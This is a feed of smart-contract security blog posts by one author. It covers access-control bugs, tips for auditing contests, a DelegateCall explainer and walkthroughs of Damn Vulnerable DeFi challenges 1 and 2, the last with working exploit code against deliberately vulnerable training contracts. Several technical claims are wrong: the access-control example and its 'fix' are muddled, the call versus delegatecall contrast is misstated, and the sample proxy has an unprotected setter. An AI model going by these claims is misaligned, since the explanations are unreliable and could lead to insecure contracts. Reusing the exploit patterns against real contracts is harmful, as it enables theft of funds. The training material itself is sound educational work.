DEV Community: JohnnyTime 🤓

Access Control Vulnerabilities in Solidity Smart Contracts

JohnnyTime 🤓 — Tue, 05 Sep 2023 08:15:31 +0000

Master Smart Contract Hacking
Become a smart contract hacker 😎 → https://bit.ly/become-smh

What is Solidity

The Solidity programming language enables the development of Ethereum smart contracts. A smart contract defines the rules and conditions by which transactions and other interactions can take place on a blockchain. With Solidity, developers can write these contracts in a high-level language similar to JavaScript, which makes it easy to use and understand.

On the Ethereum blockchain, Solidity enables developers to build and deploy smart contracts. Using these contracts, you can automate various processes and interactions, such as the transfer of assets or the execution of an agreement. The Ethereum blockchain is used by Solidity to execute these contracts, which ensures that they are transparent and cannot be altered or deleted because they are decentralized and secure.

Access Control Vulnerabilities

Software and systems that contain access control vulnerabilities allow unauthorized users to access or modify data or functions through security flaws. A security control system determines who and what may access specific resources or perform certain actions by establishing rules and mechanisms. When these rules and mechanisms are not properly implemented, unauthorized users may bypass them and gain access to sensitive information or functionalities as a result of an access control vulnerability.

It is possible for attackers to steal sensitive data, manipulate information, or disrupt the functionality of a system or application due to access control vulnerabilities. In order to prevent these vulnerabilities from occurring, developers must carefully design and implement access control mechanisms in their software and systems.

Access Control Vulnerabilities in Solidity

An access control vulnerability in a Solidity smart contract is a type of security flaw that lets unauthorized users access or modify the contract’s data or functions. The Ethereum blockchain uses Solidity for smart contracts. If the contract’s code does not properly restrict access to its data or functions according to the user’s permission level, access control vulnerabilities can occur.

Solidity Access Control Vulnerability Example

An example would be a contract allowing users to deposit and withdraw ether (the native currency of the Ethereum blockchain). It might have a public function called “withdraw” that lets users withdraw ether. The attacker could withdraw ether from the contract without the user’s permission if the contract does not check the user’s permission level before executing the function. Since the contract does not control access to its data and functions properly, this is an access control vulnerability.

Here is an example of a Solidity smart contract with access control vulnerability:

pragma solidity ^0.5.0;

contract Bank {
    // The contract's balance of ether
    uint256 public balance;

    // A mapping that stores the balances of each user
    mapping (address => uint256) public userBalances;

    // Allows users to deposit ether into their account
    function deposit(uint256 amount) public {
        // Update the user's balance
        userBalances[msg.sender] += amount;

        // Update the contract's balance
        balance += amount;
    }

    // Allows users to withdraw ether from their account
    function withdraw(uint256 amount) public {
        // Check if the user has sufficient balance
        require(userBalances[msg.sender] >= amount, "Insufficient balance");

        // Update the user's balance
        userBalances[msg.sender] -= amount;

        // Update the contract's balance
        balance -= amount;
    }
}

In this example, the Bank contract allows users to deposit and withdraw ether from their account. The contract uses a mapping called userBalances to store the balance of each user. However, this contract is vulnerable to an access control attack because the withdraw function does not properly check the user's permission level before executing. An attacker could call the withdraw function and withdraw ether from the contract without the user's permission.

Fixing the Vulnerability

To fix this vulnerability, the contract should check the user’s permission level before executing the withdraw function. For example, the contract should define a variable that stores the address of the owner and then check this variable against msg.sender in the withdraw function:

pragma solidity ^0.5.0;

contract Bank {
    // The contract's balance of ether
    uint256 public balance;

    // The owner of the contract
    address public owner;

    // A mapping that stores the balances of each user
    mapping (address => uint256) public userBalances;

    constructor() public {
        // Set the contract owner
        owner = msg.sender;
    }

    // Allows users to deposit ether into their account
    function deposit(uint256 amount) public {
        // Update the user's balance
        userBalances[msg.sender] += amount;

        // Update the contract's balance
        balance += amount;
    }

    // Allows users to withdraw ether from their account
    function withdraw(uint256 amount) public {
        // Check if the user is the owner of the contract
        require(msg.sender == owner, "Only the owner can withdraw");

        // Check if the user has sufficient balance
        require(userBalances[msg.sender] >= amount, "Insufficient balance");

        // Update the user's balance
        userBalances[msg.sender] -= amount;

        // Update the contract's balance
        balance -= amount;
    }
}

In this updated version of the contract, the owner variable stores the address of the contract owner, and the withdraw function checks this variable against msg.sender before allowing the withdrawal to proceed. This prevents attackers from calling the withdraw function and withdrawing ether from the contract without the user's permission.

Summary

A smart contract’s security can be seriously compromised by access control vulnerabilities. An attacker could steal funds, manipulate data, or disrupt the contract. To ensure that their contracts are not vulnerable to access control attacks, contract developers should carefully design and test them.

About Ginger Security

Ex black-hat hackers at your service — all worked for state intelligence agencies in the past (ask us about it!) 🕵️

Get your FREE blockchain security consultation

Maximizing Success in Smart Contract Auditing Contests: Choosing the Right Approach

JohnnyTime 🤓 — Tue, 09 May 2023 05:50:08 +0000

Introduction

Smart contract auditing public contests offers exciting opportunities for Smart Contract Auditors to showcase their skills and earn rewards.

Selecting the right auditing contests and adopting a strategic approach can significantly enhance your chances of success.

Let's explore some practical tips and guidance to help you navigate the world of smart contract auditing effectively, including examples from popular platforms like Code4Rena and Sherlock.

I've also talked about this subject with Pashov. Check out our conversation:

https://www.youtube.com/watch?v=1anBtXQz4YA&ab_channel=JohnnyTime

Maximizing Efficiency

Establishing a process allows you to streamline your smart contract auditing efforts. By defining criteria for selecting audits, you can avoid falling into the trap of participating in every project that comes your way.

Focus on protocols that align with your expertise and have the potential for significant impact. This approach saves time and enables you to dedicate your efforts to audits that truly matter.

Maximizing Learnings

A well-defined process helps you extract valuable learnings from each smart contract auditing contest. By setting objective criteria for contests, you can identify projects that provide unique learning opportunities and align with your long-term goals. It enables you to prioritize audits that challenge you, require deep expertise, and push the boundaries of your knowledge. Embracing such audits leads to substantial personal and professional growth.

In addition to participating in smart contract auditing contests, if you're seeking a comprehensive, structured training program to enhance your practical smart contract hacking skills, consider exploring the Smart Contract Hacking Course. This course offers over 30 chapters and 50 hands-on exercises, meticulously designed based on real-world scenarios, providing you with a systematic approach to learning and mastering the art of smart contract hacking.

Taught by industry-leading auditors, the course covers a wide range of concepts and practices, catering to both beginners and advanced learners. You'll delve into topics such as flash loans, DAO and governance attacks, and Oracle manipulation. By completing the course, you'll gain proficiency in identifying and creating proof-of-concepts (PoCs) for critical security flaws in smart contracts. This expertise will make you an invaluable asset to any blockchain project and will help you succeed in Smart Contract Auditing Contests.

Beyond knowledge acquisition, the Smart Contract Hacking Course opens doors to potential auditor positions. Many students view this course as an opportunity not only to expand their skills but also to unlock the chance to secure an auditor role. Additionally, you'll join a vibrant Discord community of like-minded specialists, fostering an environment for professional growth and collaboration.

Whether you're looking to enhance your existing skills or embark on a journey toward becoming a proficient smart contract auditor, the Smart Contract Hacking Course provides the guidance, knowledge, and community support you need to excel in this evolving field.

Get a limited-time discount using this link:

https://bit.ly/sch-disocunt-2023

Minimizing Burnout

Smart contract auditing can be demanding, especially when balancing it with other commitments, such as a full-time job. Having a process in place helps you avoid burnout by allowing you to focus on audits that truly matter to you.

By carefully selecting projects that align with your criteria, you can ensure you invest your time and energy in audits that excite and challenge you. This approach helps maintain a healthy work-life balance and prevents exhaustion.

Crafting Your Audit Criteria

Creating personalized audit criteria is vital for long-term success. Start by identifying the key factors that matter most to you. Consider aspects such as the protocol's complexity, the need for niche expertise, potential impact, alignment with your long-term goals, and personal interest. Use these criteria as a guide to select audits that offer the most value and align with your unique style of auditing.

As you progress in your smart contract auditing journey, continue refining and tweaking your criteria periodically. Adapt to new challenges, technologies, and market trends. A flexible yet structured approach ensures that you remain aligned with your evolving goals and continue to derive maximum benefit from your auditing efforts.

Remember, randomly choosing projects without defined criteria may yield short-term gains but hinder your long-term growth and success. Focus on quality over quantity, and let go of audits that do not meet your established criteria. By doing so, you prioritize your long-term goals and set yourself up for greater achievements as a smart contract auditor.

Conclusion

In the realm of smart contract auditing, having a well-defined process is key to maximizing efficiency, learning, and preventing burnout. Craft personalized audit criteria that suit your style and goals, and stick to them.

Embrace audits that challenge and excite you, while letting go of those that do not align with your established criteria. Adopting this approach will pave the way for long-term success and growth as a proficient smart contract auditor.

And always remember, success in smart contract auditing is not just about the audits you undertake, but also about the ones you choose to let go.

DelegateCall in Solidity — With Some Code Examples

JohnnyTime 🤓 — Thu, 06 Apr 2023 22:24:37 +0000

DelegateCall Solidity

DelegateCall is a unique feature in Solidity, which allows contract A to execute code in contract B with contract A storage, and the preserving the msg (msg.sender, msg.value, etc..).

Today, we will discuss how DelegateCall works and provide some code samples.

Understanding DelegateCall

DelegateCall is a low-level Solidity opcode that allows a contract to execute code from another contract, but it using the state and the storage of the calling contract.

The syntax for DelegateCall is as follows:

(bool success, bytes memory returnData) = address.delegatecall(bytes memory data);

The address parameter is the address of the contract to execute, and the data parameter is the encoded function call to execute.

DelegateCall vs. Call

The primary distinction between call and delegateCall is how they handle the execution context of the function. When you use call, the called function executes within the context of the calling contract. This means that the called function has access to the calling contract's storage and code.

On the other hand, when you use delegateCall, the called function executes in the context of the calling contract's caller. This means that the called function has access to the caller's storage and code, not the calling contract's storage and code.

In simple terms, delegatecCall enables the called contract to access the storage and code of the calling contract's caller, whereas call only permits the called contract to use the storage and code of the calling contract.

The difference between call and delegateCall is crucial when upgrading smart contracts. By using delegateCall, you can create a separate contract that contains the upgraded logic, and then call that contract from your main contract using delegateCall. This way, your main contract retains its storage, and the upgraded logic is executed in the context of the calling contract's caller. This allows for seamless upgrades without losing any data.

DelegateCall Security

As you continue to learn about delegateCall, it's important to gain hands-on experience and training to fully understand the potential risks and vulnerabilities of smart contracts. That's where my smart contract hacking and auditing course comes in.

This course offers high-quality video content and practical hands-on exercises to help you gain valuable knowledge and skills. You will learn how to identify potential security risks and vulnerabilities in smart contracts, as well as best practices for preventing and mitigating those risks.

By completing this course, you will become a more knowledgeable and skilled auditor, increasing your chances of landing a job in the growing field of smart contract auditing.

But the benefits don't stop there. Upon completion of the course, you'll receive a certificate to showcase your newly acquired expertise.

This certificate can be a powerful tool when seeking employment opportunities, demonstrating to potential employers that you have the necessary skills and knowledge to be a successful smart contract auditor.

Whether you're looking to advance your career or simply improve your understanding of smart contract security, this course is the perfect solution. Take your first step toward becoming a top-notch smart contract auditor:

http://bit.ly/3KB1vlL

DelegateCall Use Cases

Here are some of the most common use cases for the delegateCall opcode:

Proxy Contracts: delegateCall is often used in proxy contracts, which forward function calls to an implementation contract. By using delegateCall, the implementation contract can be upgraded without changing the address of the proxy contract, since the proxy contract's storage and state will remain unchanged.
Modular Contracts: delegateCall can be used to create modular contracts. In this design, each module is a separate contract that can be upgraded independently. The modules can use delegateCall to interact with each other and with the main contract, allowing for greater flexibility and modularity.
Gas Efficiency: delegateCall can be used to reduce gas costs. It allows multiple contracts to share the same code without having to copy it into each contract. This can be particularly useful for large contracts that would otherwise exceed the gas limit.
Library Contracts: delegateCall can be used to implement library contracts that contain reusable code that can be called from multiple contracts. The library contract's functions are executed in the context of the calling contract's caller, allowing the library code to access the caller's storage.
Cross-Chain Communication: The delegateCall function can be used to enable cross-chain communication between different blockchain networks. By using delegateCall to interact with a bridge contract on another blockchain, contracts on one chain can call functions on the other chain, allowing for interoperability between different blockchain networks.

DelegateCall Examples

Let's look at some code samples to better understand how delegateCall works:

Example 1: How delegateCall works

In the following example, we have two smart contracts, Contract A and Contract B

contract A {
    uint public a;
    function setA(uint _a) public {
        a = _a;
    }
}

contract B {
    address public aAddress;
    uint public b;

    constructor(address _aAddress) {
        aAddress = _aAddress;
    }

    function setA(uint _a) public {
        (bool success, bytes memory result) = aAddress.delegatecall(
            abi.encodeWithSignature("setA(uint256)", _a)
        );
        require(success, "delegatecall failed");
    }

    function setB(uint _b) public {
        b = _b;
    }
}

In this example, contract B has a state variable aAddress that stores the address of contract A, which has a state variable a.

The setA function in contract B uses delegatecall to call the setA function in contract A with the context of contract B.

This allows contract A to access the storage variables and state of contract B.

Example 2: Gas-efficient Upgradeable Contracts

One common use case for delegatecall is to implement proxy contracts that can be upgraded (upgradeable contracts) in a gas-efficient way.

The basic idea is to separate the contract state from the contract logic so that the contract logic can be upgraded without affecting the state.

Here's an example of a proxy upgradable contract that uses delegatecall:

pragma solidity ^0.8.0;

contract Proxy {
    address private _implementation;

    function setImplementation(address implementation) external {
        _implementation = implementation;
    }

    fallback() external payable {
        address impl = _implementation;
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), impl, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 {
                revert(0, returndatasize())
            }
            default {
                return(0, returndatasize())
            }
        }
    }
}

In this example, we define a contract called Proxy that contains a private _implementation variable. This variable stores the address of the contract that contains the contract logic. We also define a setImplementation function that allows the contract owner to update the _implementation variable.

The fallback function is where the magic happens. It uses delegatecall to execute the function call in the context of the contract that contains the contract logic. This means that the contract state is still stored in the Proxy contract, but the contract logic is executed in the context of the _implementation contract.

Conclusion

We learned what is the DelegateCall opcode in Solidity, an important feature for smart contract developers.
DelegateCall allows a contract to execute code from another contract while using the state and storage of the calling contract.
We explained the fundamental differences between DelegateCall and Call and discussed the risks and vulnerabilities of smart contracts.
DelegateCall can be used to upgrade smart contracts without losing any data. By creating a separate contract containing the upgraded logic and calling that contract from the main contract, developers can upgrade their contracts while retaining the main contract's storage.
We saw some code samples to better understand how DelegateCall works and its most common use cases. Examples include creating proxy contracts, modular contracts, implementing library contracts, and enabling cross-chain communication between different blockchain networks.

Damn Vulnerable DeFI 2022 Walkthrough — Challenge 2 Solution “Naive Receiver”

JohnnyTime 🤓 — Fri, 02 Dec 2022 11:09:02 +0000

Master Smart Contract Hacking

Become a smart contract hacker 😎 → https://bit.ly/become-smh

Damn Vulnerable DEFI 2 - Naive Receiver

Welcome to the second Damn Vulnerable DeFI challenge walkthrough!

In today’s article, I will show you how to hack the naive receiver smart contract step by step.

The Damn Vulnerable DeFi teaches offensive security techniques for DeFi smart contracts. You will develop your skills as a bug hunter or security auditor through numerous challenges.

I would like to thank @tinchoabbate for creating the awesome Damn Vulnerable DEFI challenges.

Here is a video showing how to solve the challenge of the “Naive Receiver”:

“Naive Receiver” (Challenge 2)

Our next challenge involves lending pools and flash loans, this time we need to attack the users who request the loan. Here are the instructions:

There’s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.
You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.
Drain all ETH funds from the user’s contract. Doing it in a single transaction is a big plus ;)

Naive Receiver contracts

Attacker’s Goal

Ultimately, our goal is to drain all the funds from the user’s contract. In this case, draining is not necessarily stealing those funds; it could simply be transferring funds from the contract without the consent of the user.

The “FlashLoanReceiver” Contract

Users interact with the lending pool that offers flash loans through this contract. When a user requests a flash loan, the lending pool calls the callback function receiveEther.

The receiveEther function has a single parameter called fee specifies how much the user must repay the lending pool for a flash loan. There are some security/validation checks in the function:

Both the loan and its fee are repaid from the contract’s balance.
The msg.sender is indeed the lending pool address where the callback is expected to be made
When checking that it will execute the internal logic that will benefit from the flash loan by calling _executeActionDuringFlashLoan and repaying the loan by sending back the borrowed amount plus a fee
The “NaiveReceiverLenderPool” Contract
In this contract, flash loans are provided at a fixed fee of 1 ETH.

Here are the parameters for the flashLoan function:

borrower — address that will receive the borrow
borrowAmount — the amount of ether that will be sent to the borrower contract

The functionality is as followers:

Ensure that the contract balance exceeds the requested loan amount
The borrower is not an EOA, but rather a contract. It is needed since the lending pool will call a specific callback that must be implemented by the contract in order to send the borrowed amount.
With the fee amount as the parameter, call receiveEther on the borrower.
The contract checks that the newly updated balance of the contract is equal to or greater than the balance before the flash loan plus the 1 ETH fee after the flash loan is completed.

The Vulnerabilities

In the FlashLoanReceiver contract implementation, the following vulnerabilities were found:

receiveEther() lacks proper access control, so anyone can make a flash loan on behalf of the receiver.
Every time anyone calls the receiveEther() function, it gives away 1 ETH to the pool without verifying that the contract received ETH.

The attack

Option 1

Call the flashLoan() function 10 times on NaiveReceiverLenderPool, passing 0 as borrowAmount and the address of the FlashLoanReceiver contract as borrower. FlashLoanReceiver’s receiveEther() function will drain the 10 ETH from the contract and send them to the pool.

Here it the code:

it('Exploit', async function ()

  for(var i = 0; i < 10; i++){
    await this.pool.connect(attacker).flashLoan(this.receiver.address, 0);
  }

});{

And the results:

Option 2

The second option involves writing a contract (I called it NaiveReceiverAttacker) that calls the flashLoan() function and attacks in a similar manner to option 1 (invoking it 10 times).

The attack() function of our attacker contract is executed only once, and this function calls NaiveReceiverLenderPool 10 times for us, achieving the same result as we did with option 1.

Attacker’s contract code (NaiveReceiverAttack.sol):

// SPDX-License-Identifier: MI
pragma solidity ^0.8.0;

interface IPool {
    function flashLoan(address borrower, uint256 borrowAmount) external;
}

contract NaiveReceiverAttacker {
    IPool pool;

    constructor(address payable _poolAddress) public {
        pool = IPool(_poolAddress);
    }

    function attack(address victim) external {
        for(uint i; i < 10; i++){
            pool.flashLoan(victim, 0);
        }
    }
}

JS file:

it('Exploit', async function ()

  const AttackerFactory = await ethers.getContractFactory('NaiveReceiverAttacker', attacker);
        this.attackerContract = await AttackerFactory.deploy(this.pool.address);
        await this.attackerContract.attack(this.receiver.address);

});{

And the result:

😎 🤯

Security Recommendations

Calculate the difference between ETH received and ETH transferred. A require() statement should be written to ensure that the amount of ETH received via the flash loan is greater than a logical amount, such as 1 ETH for the fixed fee.
Access control should be implemented. To ensure that only the owner can call receiveEther() on behalf of the FlashLoanReceiver contract, declare a contract owner and place a require() statement inside the function.
Congratulation guys, you completed the second Damn Vulnerable DEFI challenge!

About GingerSec

Ex black-hat hackers at your service — all worked for state intelligence agencies in the past (ask us about it!) 🕵️
Get your FREE consultation

Damn Vulnerable DeFI Challenge 3 (“Truster”) Solution
Master Smart Contract Hacking & Auditing

Until next time,

JohnnyTime @ GingerSec.

Damn Vulnerable DeFI 2022 Walkthrough — Challenge 1 Solution “Unstoppable”

JohnnyTime 🤓 — Wed, 19 Oct 2022 17:34:02 +0000

Master Smart Contract Hacking

Become a smart contract hacker 😎 → https://bit.ly/become-smh

Damn Vulnerable DEFI

Welcome to the Damn Vulnerable DeFI challenge walkthrough!

Damn Vulnerable DeFi teaches offensive security of DeFi smart contracts. Your skills will be developed through numerous challenges to help you become a bug hunter or security auditor.

Before starting I wanted to give a shoutout to @tinchoabbate which built the awesome Damn Vulnerable Defi challenge.

In the upcoming articles, I will walk you through the challenges and show you the most efficient way to solve them. Let’s get started!

You can also watch this video to see how to solve the “Unstoppable” challenge:

Damn Vulnerable DeFi Setup

In order to get started clone this repository, in your terminal type git checkout v2.2.0 to check out the most recent version, and run yarn install to install dependencies.

Now, we’ve got 2 main important folders: contracts and tests. For each challenge we will have a subfolder in these 2 folders, contracts will include the vulnerable smart contracts of the challenge, and tests will include the Javascript file to deploy the contracts, setup the challenge, and for you to test your exploit.

Challenge 1 — “Unstoppable”

There’s a lending pool UnstoppableLenderwith a million DamnValuableToken (DVT) tokens in balance, offering flash loans for free.
If only there was a way to attack and stop the pool from offering flash loans …You start with 100 DVT tokens in balance.

This is a classic DOS (Denial Of Service) attack, and our goal is to break the pool, so NO ONE will be ever able to use it. Awesome! :)

The first thing I usually do is look in the test files to understand the business logic, while looking in the unstoppable.challlenge.js we can see how the DamnValuableToken and the UnstoppableLender contracts are being deployed, how ETH is being sent to the pool and some sanity checks to make sure everything is working as expected.

To understand how the pool works we jump into the UnstoppableLender.sol smart contract, specifically the flashLoan function which we need to break!

Solving the “Unstoppable” Challenge

Attack Plan

In the flashLoan function, there are some asserts and require opcodes, in case these requirements fail, the transaction will be reverted. We will try to find how we can ALWAYS make one of these assets / require fail. Let’s check everyone and what we can break:

require(borrowAmount > 0, "Must borrow at least one token");

AND

require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

Can’t be broken since the borrowAmount is a param that is sent by the user every transaction.

This assert of integers is interesting:

uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
assert(poolBalance == balanceBefore);

The pool is checking that the current token balance (balanceBefore) is equal to the poolBalance parameter, what is this poolBalance parameter and how it’s calculated?

The poolBalance is a storage variable that keeps track of the contract’s token balance, and it’s being updated in the depositTokens function every time someone deposits tokens.

So in order to break the assets we need to make sure that poolBalance != balanceBefore we can simply do it by sending the ERC20 token DIRECTLY to the contract WITHOUT going through the depositTokens function, so simple right?

Exploitation

We don’t need to create and deploy smart contracts in this challenge, since the exploitation is quite simple, we just need to send some DVD ERC20 tokens directly to the pool without going through the depsitTokens function. Let’s add this line of code to the unstoppable.challenge.js file:

await this.token.connect(attacker).transfer(this.pool.address, 1);

By adding this line of code to the exploit section, we are transferring 1 DVD token to the pool, breaking permanently the assert between poolBalance and the balanceBefore variables.

Now we will run yarn unstoppable in our terminal to check if our exploitation works, and here are the results:

Congratulation guys, you completed the first Damn Vulnerable DEFI challenge! Next:

Damn Vulnerable DeFI Challenge 2 (“Naive Receiver”) Solution
Master Smart Contract Hacking & Auditing
Request a Smart Contract Audit

Until next time,
JohnnyTime.

Hello World!

JohnnyTime 🤓 — Wed, 20 Jul 2022 17:19:10 +0000

Glad to be here <3